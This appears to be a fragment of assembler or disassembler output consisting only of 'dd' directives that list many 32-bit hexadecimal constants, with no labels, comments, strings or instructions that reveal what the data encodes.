dd 0A7A3C751h, 40E18E57h, 0CD702925h, 2D050230h, 8948BFE4h
dd 0D3199F5Ch, 2BBE714Ch, 80644E76h, 2860BB08h, 632F3326h
dd 0BA024310h, 0B97B9A8Fh, 5977CBC2h, 0F3DFC936h, 81F5EB22h
dd 29414513h, 0D606A642h, 76FC27C8h, 0A90ADEEBh, 88772768h
dd 772710BFh, 585DCF80h, 289653E9h, 0A8916BBh, 212001E3h
dd 7B389C7Dh, 55EFEFEh, 893C1EBFh, 78FAC03Fh, 24FBFC97h
dd 64DC071Ah, 402507E2h, 0F731AC57h, 6C35D805h, 5BC76127h
dd 0BD00B564h, 21A11FECh, 0D8AAF795h, 4999021Eh, 24C073E9h
dd 0D64CBB58h, 85AF16AEh, 0A9BF6334h, 0B1E2B5ABh, 0E128E985h
dd 66D0FCCCh, 43A85B4Bh, 215F1B1h, 94567721h, 129CF358h
dd 440F4008h, 0A150E95Bh, 0FDB2D799h, 0EE029289h, 72E671DAh
dd 5456B807h, 0E9DF1069h, 6453763Ch, 3C32EE58h, 6B8409ECh
dd 0C4D3F864h, 25138429h, 0EB4394EAh, 0D8B54205h, 2F6872D8h
dd 464C7B4Fh, 234F8AF4h, 0BAC026ACh, 69F84C01h, 9AB7E91Ah
dd 5169F742h, 5A26F8FDh, 6055828h, 36BEE916h, 9B8867CDh
dd 0D62DAEC9h, 8B7FA589h, 0BF30F0E1h, 6816AAE6h, 1CA347B9h
dd 313B826h, 35E2813Ah, 0C15E0B88h, 769005ECh, 8232C801h
dd 5551E927h, 0D118393Ah, 52F0C03Eh, 80C0B600h, 0D6F613C6h
dd 16B10F51h, 0E161C9FEh, 7E93E902h, 1AE6617h, 8A0925ADh
dd 3532301Ch, 23491512h, 0F4E9C5C0h, 41F62D6Eh, 590031FDh
dd 2C23A02Ah, 2AC18C31h, 0CC392DE2h, 0BFA95016h, 7BB9F130h
dd 20AF257Dh, 0D2C1CEF0h, 2B713E01h, 91E9E58Bh, 71659A9h
dd 0F6FAC497h, 5812CE4Fh, 402B68EEh, 42A609C7h, 66068E0Bh
dd 1D8C6BCCh, 521D687Eh, 0C6ECDE12h, 3D8E982h, 73D5DFA7h
dd 0F3FE299h, 0FE1013CBh, 21CC7DACh, 0F0BD5B6Bh, 0C275164Ch
dd 10DCB971h, 5327D807h, 529BD6F1h, 0E9D390FEh, 0CC414B18h
dd 314EE417h, 0D050D3F2h, 0D1FE52FFh, 39056305h, 27B40154h
dd 3C0B56A5h, 52491ED0h, 0A0E5AD89h, 0AA4063AFh, 0BF2D4E14h
dd 1FBABB12h, 31DEFA05h, 0A73469B3h, 71E85FC1h, 120021BDh
dd 0CD81377Fh, 97414F2h, 2B946875h, 9D804959h, 0E93EDB2Ch
dd 3A956F58h, 0AAE4C70Eh, 0C0BCA34Ah, 0E58BD55h, 4553397Ah
dd 68819A5Dh, 0F6F933C2h, 0E637C261h, 71C10102h, 0F1294243h
dd 164D840h, 0E2389427h, 7633407Fh, 325481D2h, 9368C256h
dd 61CCD57Fh, 48349501h, 3FEAE961h, 2F1DF67Bh, 69147356h
dd 1B6BCC82h, 8B2D43D2h, 1C856E70h, 273A8F68h, 41045D5h
dd 0AEE083E9h, 1FF8828Ch, 492B0379h, 0CCA153EEh, 215A6665h
dd 0A64B20DEh, 4440D34Ah, 5E9C63C1h, 8E2109BAh, 0FA8987B7h
dd 299DF656h, 0DF13BFA6h, 0EF8013B2h, 23568D0Fh, 1B532D00h
dd 0F8295AD0h, 1607A205h, 2BE9129Eh, 0B2E730E8h, 0EA398055h
dd 0E6C28930h, 2E680288h, 0DFDBA299h, 0A828545Bh, 92C8B58Eh
dd 0FBBFFB29h, 0CFD527A6h, 0F09F96C4h, 6817522Ah, 2CBA14BDh
dd 80B5337Fh, 28C4B674h, 526FF2CEh, 167696FDh, 5D9A21h
dd 136305BBh, 2507117Fh, 7AA133BEh, 0C819B250h, 0E3350002h
dd 8918167Eh, 0D14AE9C5h, 0F4BB81C1h, 31E60D6Ah, 0FAE342DCh
dd 5F126A78h, 0F7FFF029h, 67A84A11h, 17B550B8h, 5D66120Fh
dd 0B2BE0714h, 0F03183D2h, 0B3952DDh, 0D77021EAh, 3EFFE182h
dd 66E91316h, 0E0ADC952h
dd 8E9A11F9h, 0EE5CFD72h, 0BE722931h, 0BC165002h, 0BE37839h
dd 25E4CBF5h, 2420B1D2h, 1581318h, 4EBD04CEh, 0C98AF6Ch
dd 40D24C0Eh, 0E27B12D8h, 0E0AEDC97h, 419E05EDh, 822D52BFh
dd 594C5508h, 167D6B20h, 30742568h, 2CD5B0EFh, 0C508A301h
dd 0BEF58058h, 30E30689h, 0EB04FA8Bh, 0CCB707DDh, 56AFBB72h
dd 0DCA98CB3h, 6402350Ch, 8102A009h, 0EAA97FEEh, 0F6FC6009h
dd 0ED40D3A8h, 25E17728h, 5B150E48h, 412778ACh, 0B67E018Fh
dd 0D15D2722h, 6EB16354h, 45B82E66h, 0EEBB050Dh, 0C0467F27h
dd 0E33A68C0h, 0F4433D3Bh, 750F091Ch, 8029F465h, 0A915BBCBh
dd 0FE73E92Dh, 56825F96h, 570DEC5Dh, 728046F6h, 21664BF3h
dd 0CCE98BCEh, 0AB4F7AEBh, 59470908h, 83588882h, 73986805h
dd 0C956F633h, 1D344B7Dh, 752AFDEBh, 0F8CB005Bh, 252FD33Bh
dd 604B140Eh, 76A7A13Dh, 0B02F0A69h, 0A5390520h, 0AAA04A48h
dd 0B9F1E4C6h, 0AB58640Dh, 7F33C741h, 0CE8011CEh, 0A3292E8Ch
dd 18BECA01h, 5204364Fh, 540F9B35h, 0EF8859A5h, 0E9BA20CCh
dd 2CCF883Dh, 1FEC9CDCh, 0D4C6F7D8h, 0F2B3BE66h, 6E0C6809h
dd 8162CEF6h, 17222B22h, 4020356h, 2E165221h, 6E6F0B3Dh
dd 0AA66E104h, 0F89A5F02h, 0EEC304FEh, 0C95209F0h, 0C5F41A32h
dd 4608F760h, 8A564B1Bh, 405D27C7h, 4F14C22Fh, 70CC008h
dd 3503E0D1h, 26A31FB9h, 3CEEF02Dh, 0A15E95F7h, 0D2E82158h
dd 42E6EBAFh, 3AE9E709h, 572506FCh, 13240D45h, 0EFC16B1Fh
dd 0B144E97Fh, 70C762Fh, 0B081DD95h, 254FE907h, 9DA96A16h
dd 0F748C2E4h, 87525709h, 0BB2FAE2Ch, 4728D889h, 895D940Ah
dd 0E53B6004h, 74054016h, 3241F2Eh, 0AA59A225h, 2DE9D138h
dd 0A437BA01h, 1016034Ch, 0AD4EB8ACh, 40D510F4h, 0F339E909h
dd 5C95C87Dh, 0B376BFBEh, 0D734358Ch, 17800FC3h, 0CBAF3EE2h
dd 9008E81Fh, 330E2299h, 0C7B0FF97h, 185ED6E9h, 68E188A8h
dd 16FDE6FCh, 5DE92718h, 759DF278h, 1BBEE194h, 0AD186552h
dd 0CF02337Bh, 0E55005E9h, 32F9252Ah, 5251C16Bh, 7F8B997Eh
dd 9278DEE1h, 25B4C602h, 0B26033A1h, 705E58FDh, 1CA0C3F1h
dd 141CD008h, 13268B4Ah, 9E8478E9h, 85ADB8BAh, 0B0B83607h
dd 8C4B60C4h, 0D15A01B4h, 0E9F028AFh, 0E3A1382Ah, 266172B7h
dd 82E43B84h, 4527EA55h, 39316075h, 0A7BE80C1h, 7C302A1Eh
dd 0E9C21096h, 0C56FB5Fh, 4B441E41h, 0E05AB5ECh, 0F3686B71h
dd 80F8373Eh, 668557E0h, 0D54BB4B6h, 0E9615E65h, 236AA529h
dd 0E7CA2B4Ch, 0C28141FCh, 0DCF05587h, 987BDB61h, 0D409E963h
dd 0D625CE58h, 2508A07Ch, 0CBE6525Eh, 31A16815h, 0C05B57h
dd 0BFB33A7Bh, 7F20E05h, 0FC67E907h, 0A20EC57Fh, 0C5B1FB0Bh
dd 990106E5h, 58D6682Bh, 282E2749h, 6E00AD8Eh, 0A4BF43A8h
dd 95354B20h, 0F7120077h, 4743FB7h, 0E9FD2134h, 2BBE816h
dd 227FE4BBh, 1292802Ch, 16E7049Ah, 0B5B5153h, 51D2A0A5h
dd 0F30BECFFh, 774E1F7Bh, 0BC6F56ABh, 0B857B88Fh, 7FDD4144h
dd 0C9EA0DC5h, 0D69E40B4h, 0F782A21Ah, 63832442h, 0D0C22EC3h
dd 5A3AA80h, 810234F3h, 40E64E7h, 17C04039h, 0A0375B22h
dd 2C966159h, 0FC0C83E6h, 1D7F600Dh, 0B23CAFE1h, 0BE564A01h
dd 245B0875h, 0CE487178h, 8BB8BC4Ah, 27114559h, 0E920B075h
dd 0B1F794F7h, 28945884h, 0E368822Bh, 0CB6B5962h, 0FFA6EEFFh
dd 31B0AB14h, 74E92D51h, 6D590489h, 0C0F4CDE2h, 3883AD7Eh
dd 0EA48207Fh, 530BFB18h, 1E2FA3EEh, 38FED088h, 38B51A6Ah
dd 0C096FB0Ch, 0CC72BF0Ch, 0F6BA522Dh, 0E377A721h, 0CFE9F8E9h
dd 6887C295h, 0ECF61245h, 0C818D46h, 25A5BFBAh, 98679B94h
dd 6562492Eh, 91FB7627h, 99EE4E10h, 0BF78443Eh, 54E0FE95h
dd 24B24BF5h, 90A9EFF8h, 2AC2D06Fh, 0D4753E22h, 9942455h
dd 0D230D029h, 1F19C605h, 2D1A73AAh, 7FE90741h, 0A63A7D65h
dd 775C8C60h, 35101FBEh, 0F506FC6Bh, 978BE95Eh, 0B8E65A4Ah
dd 9FE08C3Eh, 8A49CFE1h, 54ED315Eh, 4B88DF10h, 0E24DEFFh
dd 1255A468h, 0A8E7AEh, 33DEED81h, 2FE979A3h, 18C5F746h
dd 8066B200h, 9708C0EAh, 4F8696FFh, 0EFFAC474h, 0FD2590F2h
dd 0E9064E45h, 92BF208h, 674D5DEAh, 9827637Dh, 4FD35776h
dd 2C6AAC19h, 0D81157Ch, 32952516h, 0FA051270h, 0FFC7274Ah
dd 84174F5Dh, 0AAF017E9h, 5F7B82A6h, 3B8EB112h, 0B0B5E5E8h
dd 12177645h, 61913654h, 0A2E6A3E9h, 0DD7894A6h, 2CBC96E5h
dd 1A1032CBh, 39D82116h, 0C7457A94h, 74AB359Dh, 0BA0BFADCh
dd 0A95F5AACh, 133E4B01h, 7EB6BBDDh, 0CF52E9C2h, 0DFF9A47Dh
dd 317C62C3h, 10DDBFAh, 0C1C160F5h, 813730B7h, 255202E2h
dd 0DAF76A29h, 0FB001E76h, 79E99FFEh, 0A9999568h, 3B93605Bh
dd 20B4B086h, 61902337h, 5F2B7104h, 0D104092Eh, 0CAB6BE92h
dd 28527A42h, 89CFFED6h, 10B0A64Eh, 592CA05Eh, 0F8363943h
dd 1A9F9409h, 8C28092Dh, 2FE90D0Ch, 0F7AB842Ah, 0E47E2B7Fh
dd 650205B3h, 0F35C2903h, 0E90C405Fh, 3E603337h, 0B551D800h
dd 0CD801FCEh, 815952D7h, 2BE328AFh, 261261BFh, 6B6735F2h
dd 3E322EA0h, 6778D129h, 63433407h, 0C095F95h, 0F63DA568h
dd 7B45CF4Ch, 160AF330h, 0FAFCED80h, 0F48F0692h, 0EBFA64F1h
dd 0F5283B39h, 6632C375h, 0D5680A59h, 0A1AF6A4Bh, 7882E950h
dd 11BE0EFBh, 5661C702h, 491D9DB2h, 0A02EF2A6h, 0AE2D24D5h
dd 646ED650h, 4F40AB29h, 8611AD8Dh, 1E0A5AE9h, 64D425C5h
dd 28701E08h, 97ADB2FDh, 0A9CB31C8h, 1C8C0710h, 0C70BB901h
dd 97DE313Ch, 0C8FB407Eh, 201E809h, 3C240548h, 6B20EBA7h
dd 0FD0C13BFh, 0B06DE870h, 5848297Bh, 68C2332Dh, 215E4636h
dd 0A6059560h, 0F3810F0Ch, 1981082Ch, 2AC011E9h, 78109BE3h
dd 4CC5853h, 70791973h, 5E080B24h, 304C34D5h, 0ED41F132h
dd 0A2D96A2h, 0D1E04214h, 82F06BA7h, 0F02487A7h, 128CE85Ah
dd 9B91B7DEh, 0CB053B09h, 27EA6F37h, 82D5364Bh, 1133F50Bh
dd 805FB09h, 880B0A46h, 62B27DEFh, 0ECAC405Dh, 0A14DB265h
dd 0B3FD6997h, 0EE381F0h, 57DA3CEBh, 0C315DDDh, 7D0C2049h
dd 8C6D7E38h, 0AE0A56E9h, 96BF0BBh, 5C316678h, 84A29CDDh
dd 1835513Dh, 522D1C26h, 3A1EDDB1h, 8BAEA912h, 0EBBC4F05h
dd 0B20E6284h, 0AA0C88E8h, 3CD59568h, 95F99D0Ch, 1F5424CBh
dd 542947F8h, 42B44813h, 5C5D6DE1h, 48F97384h, 51E33F08h
dd 57F950h, 0B35B8E68h, 52565F63h, 9175DCF1h, 47BC4E4Fh
dd 0FCD01676h, 0FEFF85F2h, 0CF00CE1Fh, 157E6A25h, 0E6D34E9h
dd 0B4AFEC58h, 0F182F8BBh, 0EA2E5358h, 6942DD29h, 685D00FAh
dd 0ACA644B8h, 0D80E0E90h, 0D3395A11h, 0C7615700h, 0BBB5854h
dd 0D07E87CEh, 0BBE74005h, 4BAE6E98h, 844FE2E8h, 890434C5h
dd 0AA6882EAh, 0E0006EC4h, 0F7775330h, 98E6C1D6h, 0BD465DC9h
dd 0EDC05A01h, 30CDFE06h, 4597018Fh, 0D2DA3075h, 620B521Ch
dd 590CC8E9h, 0A81B3C5Ch, 0BACD8F54h, 644287E1h, 4AB34A36h
dd 0BC4AFDBDh, 0F6D2B2D7h, 0AF52BF93h, 0BE0120DBh, 53665A5Ch
dd 0B9658B9h, 4CA78B31h, 7E49803Bh, 4E0142F1h, 4068D4Ch
dd 97B5BE0Ch, 5235AF2Eh, 168E5C0h, 0C141AB22h, 75C273C7h
dd 0FDADE853h, 6B024E39h, 0BCF419B8h, 9E6872Eh, 4067FD09h
dd 0BBA05112h, 3352174Eh, 0A2921207h, 0B6B98096h, 0C1F8CCADh
dd 317CD484h, 77BA3019h
dd 1E405A17h, 52FFAAA0h, 890CE137h, 993C1920h, 3445FE12h
dd 0BDCBEAh, 6E5D4798h, 7D673DBEh, 90E91286h, 0F20C915Bh
dd 0ED23F57Fh, 0ADCBBD72h, 5B0969C7h, 0D24F827Ah, 49B33B58h
dd 54144BE2h, 0EED78BE4h, 0EDC1C501h, 8069704h, 6C0088ECh
dd 0EE316FAAh, 5701055Dh, 0E946AC7Ah, 4F7C4124h, 28D02CF0h
dd 0EAE9F80Dh, 6F448AEFh, 3FF5EAC1h, 3494ADEFh, 79A7F5AEh
dd 32AAF4E8h, 20E428CCh, 97EDD420h, 234AA5E7h, 33D1F78Bh
dd 0F40D4B7Dh, 604EA7E3h, 5040D8h, 3759BF57h, 5DB85415h
dd 0CD050BC0h, 142B2056h, 72DF829h, 5EF6F75Fh, 0E96E03BFh
dd 0FB407D05h, 0AC9A56A8h, 33094702h, 852D5802h, 0DC05E06h
dd 906FEA55h, 30440D52h, 7A0C6920h, 4FE908A4h, 5AE2FCEBh
dd 7BDC39FFh, 1712DDE3h, 0A831BFFDh, 35783DCDh, 0D989AB93h
dd 9F05A2F8h, 0FF03E8D9h, 0E1FDBA11h, 0AF65554Fh, 83A50838h
dd 168DF9C5h, 7605FAC9h, 6DFCE054h, 3C51558Bh, 7288A5Bh
dd 942D6453h, 3A23894Bh, 0B004A7A5h, 0E909C7CEh, 0ACEA8ABh
dd 0C3EAF783h, 421C97F6h, 14FBDA6Dh, 0CCB07B13h, 9CDC3217h
dd 0DC975034h, 1DEC2CC6h, 6C79E53h, 995FE9F9h, 5051899Ch
dd 0ACC99EFCh, 0BFC1EC42h, 0E962B4F9h, 16425058h, 442A7968h
dd 972227h, 0F02807B6h, 815A6366h, 0F8A2D7F6h, 0CE51677h
dd 84EB8028h, 0E9179506h, 0A3F740CBh, 325F57Bh, 0F2C3AD2Bh
dd 22EB725Ch, 0CF074E70h, 712A187Dh, 4A693BB2h, 74EDC020h
dd 0D4F9B5FCh, 9F685540h, 0B0B6756Fh, 0EFF5016Ch, 0F7621750h
dd 0C36330DDh, 0C12624BAh, 0DCAF3DE5h, 0FCC0072h, 6D6819F1h
dd 9936C9Dh, 6CED6FF8h, 6CC4D875h, 0EB609F04h, 3E997E9Dh
dd 29C9A7Eh, 50F5C380h, 0F05FFDB4h, 5DDF700Ah, 0AB97E2E3h
dd 10E0E310h, 592F1629h, 9207A2FCh, 4579991Bh, 27D9246Bh
dd 0E9B7DADAh, 0E76F176Ah, 27931787h, 332AD3E9h, 0A5BE4ABFh
dd 0CD89EAE5h, 5F88B574h, 0F751047Eh, 66F9EA14h, 0FE28D49Bh
dd 0CE0BDD90h, 0F68450Ah, 491F20D4h, 5301E939h, 0BA104097h
dd 0FAA9503Fh, 0B9B2F15Fh, 3EF1E54Bh, 0AC1B1FBDh, 80C03F57h
dd 2C25EAF1h, 3AF77ED7h, 0EFCCE909h, 0AA477D04h, 4EF9A685h
dd 53531F17h, 0C34004BEh, 0B172192Eh, 248E0DA0h, 528D0293h
dd 264C6F75h, 0AD5E12AAh, 0EADC1A95h, 8820547Eh, 6B282D45h
dd 528C4C4Eh, 0B15178E1h, 0E45E3368h, 453401E8h, 61DFDB8h
dd 31DF1AF2h, 5EA95852h, 69EA8180h, 134A2E5Eh, 804BCB5h
dd 0BB0D81FEh, 0E6C981CEh, 66C2468Eh, 18CD0C82h, 5C755FF5h
dd 69F601F0h, 3B42763Bh, 750B6402h, 50887677h, 1A4F5CE9h
dd 2E684C8Ch, 0E1552D52h, 512F5E9h, 4E6F80FAh, 85ED37C8h
dd 60842FEh, 7132B6F0h, 31FF95FEh, 0A77E5B79h, 7AD5C5E2h
dd 55CF36F8h, 40766A45h, 67ED2DDFh, 1141F98h, 90705D8h
dd 0DF04875Bh, 226AC61Ah, 554A3B64h, 840F49C0h, 0A20C4B4Bh
dd 49F04852h, 0A5532479h, 0D94D2902h, 0D620Ah, 0CE6214D2h
dd 2E014177h, 3ECB11F4h, 48AC23FCh, 54CF1161h, 634018BEh
dd 0F42F5D68h, 74D0593h, 0CF4CB879h, 973A2E64h, 91C811EEh
dd 0E586E917h, 73833059h, 4A67F659h, 810428E0h, 11D27E2Dh
dd 0FDBE4251h, 0A9571D2Bh, 4C178B4Ah, 85F72D24h, 0AE5034A9h
dd 6D7E6600h, 24B6257Ch, 52302CCh, 0DFB3DBDEh, 23F09441h
dd 9AAC5B74h, 9400DF45h, 15B7ACFh, 0ED814D71h, 3E840591h
dd 2FE9DBE0h, 0DBA0172Eh, 28C615A4h, 229FDAFAh, 0DF503595h
dd 2A8C5C30h, 0C2BEF3DBh, 57818B0Eh, 68842247h, 7AEC1B7Dh
dd 23C476D0h, 7BE12A0h, 37D1072Dh, 0DF5BC246h, 373CEA2h
dd 6127680Ah, 0F57BBF3Eh, 3A96EECh, 50AFE65Fh, 0F5886EBAh
dd 0C3763349h, 0BFE9EB82h, 0BC9745FAh, 2BB16C4h, 6FE629EBh
dd 131F2B93h, 0BF02C645h, 0D0075C35h, 0F5B97766h, 0F10EFEF2h
dd 0A43BB304h, 8CE4CA01h, 2775B4A8h, 7D7D89F7h, 2F0C522Dh
dd 16025EA5h, 7787E280h, 0CC829873h, 0C2371A77h, 3DE57FE3h
dd 0FD9E774Bh, 162E601h, 709AE964h, 0A00A373Eh, 0F7367450h
dd 84E6A4C1h, 0F42EBD47h, 0B40A66EBh, 85C6832Ch, 0D2F873Ch
dd 92DE3A9Bh, 0B37A78F1h, 173488D3h, 0AAA6575Eh, 85B78D77h
dd 0A62E3EDDh, 0AA680B06h, 0A0E7C532h, 4BF00BBAh, 0DF7072B7h
dd 0BA0FD9Ch, 0E9187BB0h, 6897BCC4h, 3B5874B1h, 0BA89525Bh
dd 1F544171h, 0A048F0Ch, 189920C2h, 6D5AE21Fh, 6DBC1DFh
dd 0E99BD827h, 5087F198h, 0D230BF5Bh, 58554DA7h, 87F701DFh
dd 0E9440D42h, 0E77FD248h, 2D5C07BBh, 165A1201h, 7DD08D7h
dd 244CBF3Ah, 0F504AD27h, 0ADEAFFA1h, 0D791E29Fh, 75F4C8ECh
dd 40FC174Fh, 37F50093h, 29508A2Eh, 40E5EB78h, 3C78E908h
dd 5EF2AEA8h, 0D91D4798h, 15E05FBh, 0BCD75A60h, 15BB0652h
dd 140D16F0h, 0AF49DA35h, 840FA62Eh, 0FED830ACh, 0B252D560h
dd 0D1881401h, 5602BF5Ah, 279E92Dh, 8041E1DEh, 4CECCCE4h
dd 0F5199F6Dh, 5AD3C08Fh, 88FEDAE0h, 0C5D5C8B5h, 78763872h
dd 6E37C0E3h, 0AACB373Bh, 0C481B9F4h, 20CAFBD2h, 0D12C6075h
dd 0BCFA95E6h, 180F1505h, 25E15631h, 0ADF84943h, 0E99A68BFh
dd 5E426149h, 0B86538EEh, 0A005370Bh, 62150915h, 0B44D598Ch
dd 4F8C928Ah, 619DA1C0h, 321EF3Bh, 6E2E86E7h, 38185819h
dd 296FFE09h, 7C6A687Dh, 9C3EAB36h, 0D614C91Eh, 0D2F569F5h
dd 30F1BB00h, 0B34E1228h, 7497E4B2h, 0B38C4F60h, 6EEC5F14h
dd 0F3A92A54h, 0DB01BF7Dh, 355D05C4h, 847F340Bh, 340712EAh
dd 592A928Bh, 4DF9567Dh, 8BE47DE3h, 58DEC006h, 0E780B529h
dd 1D6D7C7Bh, 748DADB4h, 8E23A10Dh, 0F7097C27h, 0A8A8E5DDh
dd 7CD802F8h, 0CF2948BCh, 208E7C09h, 245A680Bh, 5B9E4118h
dd 1701C105h, 22996831h, 0D8002836h, 0C1655749h, 0F49008EAh
dd 25F0DD77h, 95CE0CC1h, 0F13ADAFAh, 61B62B1Ah, 0E9C3ED52h
dd 0C55851CAh, 89DB2D01h, 0E3F25500h, 23D499F4h, 23D24AA5h
dd 0A297E357h, 3DC5D7E7h, 16A7280Ch, 0F6A0C7C0h, 0E78AA6D2h
dd 4660BD00h, 0CD812EB9h, 4A0E244Eh, 0EAE501D2h, 711E1250h
dd 2B108287h, 0C01BEB23h, 5F53B680h, 0AD2E0AEh, 17DEF90Bh
dd 7648DF29h, 0ACB23F02h, 0BF0637Ah, 1B75B3A0h, 544D422Fh
dd 53F058F3h, 0E91B7704h, 0E8A8BA5Eh, 0FA2FA7C4h, 0A63B2439h
dd 0E9AC4BB6h, 0BE8C1B0h, 0C044E92Dh, 131ABE8Fh, 0AF26F016h
dd 3939AEF4h, 4FD9802Fh, 960B701h, 21F7017Ch, 2F846578h
dd 8A356FB0h, 9A3C3E54h, 0D44055ECh, 1B6202B7h, 0F1554D18h
dd 41E909C8h, 56484278h, 342A4FA2h, 0FB215E09h, 51820671h
dd 0DD26D6E9h, 11CA4F1Bh, 0B107CE74h, 0B284803Ah, 56A11FBAh
dd 81A24BB3h, 1FAE6B75h, 5632650Ch, 7831C076h, 775C6B43h
dd 2A3905E8h, 0CEAB0A21h, 56BC5FF9h, 0FF1F1519h, 0FFA3AF5h
dd 9184C778h, 0D639908Eh, 0FEA1F287h, 2C5A28E7h, 0DD2588DAh
dd 0E9D5D40Ch, 0F274392Ch, 0DD6857C2h, 895F1570h, 2E0F2DFBh
dd 0FA94F537h, 4AEA40C1h, 0A6C1AB05h, 5A7047E1h, 0AE66D68Bh
dd 2DE9D828h, 95CC29EDh, 2F559B81h, 626A98CDh, 50D07FCFh
dd 7A33FEB5h, 0F16B02DFh, 56D10B96h, 0FB555C42h, 0F38208C2h
dd 0C218F427h, 0BEDF921Bh, 7D769D5Bh, 0B7AB42C4h, 0C73D7B66h
dd 65B9FC90h, 50F57A2Fh, 0EACCB45Ah, 5F7D276Ah, 13040B72h
dd 29CB8F6Eh, 41C7A9BFh
dd 32E1048Ah, 9F5E795Dh, 0B6DA3E27h, 12E99D95h, 9CA2EFDEh
dd 1DB44B79h, 28370361h, 0D09A58E2h, 43DCEE62h, 6617CE81h
dd 92207183h, 7CE50540h, 0AC9AE9DBh, 68AF4EB9h, 0D8502806h
dd 0FBBF6CC7h, 120A1135h, 0E13471B4h, 2AAFD1BAh, 0D37D38DCh
dd 63DD1901h, 0E9305D8Dh, 0A474BD02h, 2DCE1808h, 0F16B00FDh
dd 5E832C1Ah, 0EE39D066h, 3D5F1FB1h, 5F326BB0h, 125DF2C5h
dd 7DBAC4A4h, 0C8C53033h, 1798482h, 295FF920h, 6B568195h
dd 0A12DFEE4h, 0EF3E24Eh, 13103868h, 8BD9F3EBh, 10B5E75Ch
dd 7633482Ch, 4BBD275Bh, 5E119085h, 16190E13h, 5ACAFE17h
dd 448110h, 6B631C51h, 0D2E560E9h, 42792AA8h, 10E9090Dh
dd 445DA07h, 9C62BCEAh, 7C24C011h, 774C4752h, 4561482Ch
dd 0CB0A7A08h, 5B1317C2h, 0A1AB9BD4h, 0A5D86862h, 24E9D638h
dd 0B07DFBFFh, 4D76B3F0h, 90275FB8h, 9825C41Ch, 15F350B5h
dd 0C00A1FEEh, 0B0DD27C6h, 4AFDE923h, 0C08FB82Fh, 0D967F5BBh
dd 0BBC986Fh, 0E83104Dh, 0B4613D62h, 0DBA3CB87h, 7160864h
dd 28E3E280h, 9C20B43h, 0BD65DEBh, 0D0019F02h, 0EF62C047h
dd 1E9916DEh, 1F20AEC8h, 9D0AC1E9h, 0F0556DA9h, 2BF5F704h
dd 51419A25h, 0FF048DAFh, 1934E481h, 895B0EA7h, 0F401E962h
dd 5551697h, 0FA3C7A81h, 2F7CB308h, 31270E58h, 69A17CC7h
dd 28BAE8DFh, 5A6603F3h, 0F65BDD08h, 6FE58098h, 26C5FE32h
dd 8ABF008Eh, 6A27AF78h, 0ED8F8A01h, 27386B08h, 379F3802h
dd 422DFE61h, 0D3F95E07h, 4E3B77A4h, 0E2BB1D64h, 0BBDD768h
dd 0A1EBA213h, 20643007h, 0F65AD302h, 574A68DBh, 8AC833C6h
dd 0D01738C1h, 3AD7F45Ah, 0AE3B7E45h, 3914FD39h, 0E928D8BAh
dd 3253266Ch, 652E1ED1h, 60DCC941h, 74131AF7h, 2700ACB4h
dd 0BC74B289h, 6F8B7D69h, 0EFAD4A60h, 68418796h, 0DD230537h
dd 41C2573Ch, 5CBC2AAFh, 85E695DAh, 0F30B4790h, 0DF3DA25Ch
dd 8A1FB9A2h, 0E959D45Fh, 5725C7E4h, 2D0B5E54h, 0E973FB5Ch
dd 0E62149C0h, 694CE02Eh, 7FB8055Fh, 7C7D3405h, 0F2B0AF3Eh
dd 9D5C045Bh, 0A177E931h, 44802ABDh, 27B69BF9h, 4D009D7h
dd 0F56A3D2Fh, 3606BEAFh, 0C2057D0Dh, 0F4188617h, 461029FCh
dd 0E1EC4E56h, 0A6E33114h, 30EF45h, 155A280h, 16BD68F0h
dd 0C5B75D57h, 409504DBh, 29503AE5h, 4B68175Ch, 0BC41FE71h
dd 36C95332h, 12FDFC7Ah, 854168E9h, 88C0FE59h, 962B63Eh
dd 0FC793AE9h, 6E6842F9h, 0FC75A5F5h, 645D61A1h, 510F303Bh
dd 53138268h, 8A000EB0h, 3C6B2EF1h, 7EE92C77h, 24F4ADBEh
dd 8B057F0Eh, 0DF5E074Fh, 3FCA7499h, 8D0C9DFEh, 0BD3FC212h
dd 0CA011942h, 0E305EA10h, 6F174E09h, 4AEC70F0h, 0C769BC15h
dd 2F6097Bh, 63940C0Ch, 44547D27h, 42559517h, 0CF12AAA9h
dd 0D35CF805h, 79BC2124h, 0E892D1B4h, 0C5339C4Bh, 65A94205h
dd 12AC18BBh, 6B2655A0h, 0F2A597C3h, 4ED09ABh, 5228DE62h
dd 0B8D08EAh, 0E06FE91Eh, 1646B8DBh, 0A048F42Ah, 0E459F21Ah
dd 185C05ADh, 0AA00204Eh, 0C872B7C9h, 70F9B064h, 16DD301Dh
dd 0F17ADE0Ch, 4FB54D4Fh, 9602517Fh, 920F8A4Bh, 0E9339CEAh
dd 4B62804Dh, 0FBB7D4AFh, 126016F0h, 0B2E663Ch, 30703C8h
dd 94D50B01h, 0E6882494h, 0FA03386Fh, 80EA285Bh, 0CCE91293h
dd 1ABC6A10h, 2A5ADD8Fh, 137A8640h, 4AA71495h, 0AC3D8CB9h
dd 6151B09h, 6402554Dh, 4951AD4Ch, 4B4D442h, 0C3C7F028h
dd 65588072h, 31403038h, 2D6AADEBh, 0AF24407h, 29580880h
dd 11E812D7h, 0C7EB71Ah, 35B55657h, 0CF54AE0Ch, 4EF4177Eh
dd 0BD0929A3h, 0E829120h, 0E5D74F06h, 89522566h, 1FD16231h
dd 0CA444DC4h, 0EB04EDF9h, 0EEF865AEh, 1FFBE617h, 0E7CA01BBh
dd 3133250Bh, 1230783Bh, 7741E2C1h, 3D16CE8h, 4207128Ah
dd 3C111DD7h, 0C73D764Ch, 370A768Eh, 4756CFC1h, 0EF83704Dh
dd 70194F09h, 0E9C90144h, 0CF4C12C2h, 0F30F4F68h, 0AEE90960h
dd 12E0E98Fh, 0A56251FAh, 8385A35Dh, 939E58DDh, 2DD5D069h
dd 0A53A9461h, 6C853A6Dh, 39C0A290h, 250190A4h, 17FE3A77h
dd 446D6660h, 0D859E5Dh, 61F9A4E9h, 74A93E79h, 2A25E9E0h
dd 57947F97h, 0C0EB42B5h, 28629826h, 9B00274h, 0AE7E1AE5h
dd 1CF5AC03h, 89E924EBh, 5680A7E9h, 9C92BB4Bh, 188CFE05h
dd 3877584Ah, 3CAA83A4h, 5EC51706h, 24A67846h, 2941DEDh
dd 71126827h, 6B091D4Ch, 7D36207Dh, 0DF98D450h, 3C7FB624h
dd 5835E909h, 9D315843h, 7238FFD3h, 85B94FE9h, 402B83BBh
dd 74E0C4C1h, 541E2163h, 578C2DC7h, 3FEAA122h, 7C3D1BC1h
dd 0AFA873A4h, 0F369DADEh, 0D01E0846h, 0F8885007h, 5358C521h
dd 0DAE0EBD9h, 7E6CB75Bh, 68C85627h, 2C6805DEh, 0C0C861A5h
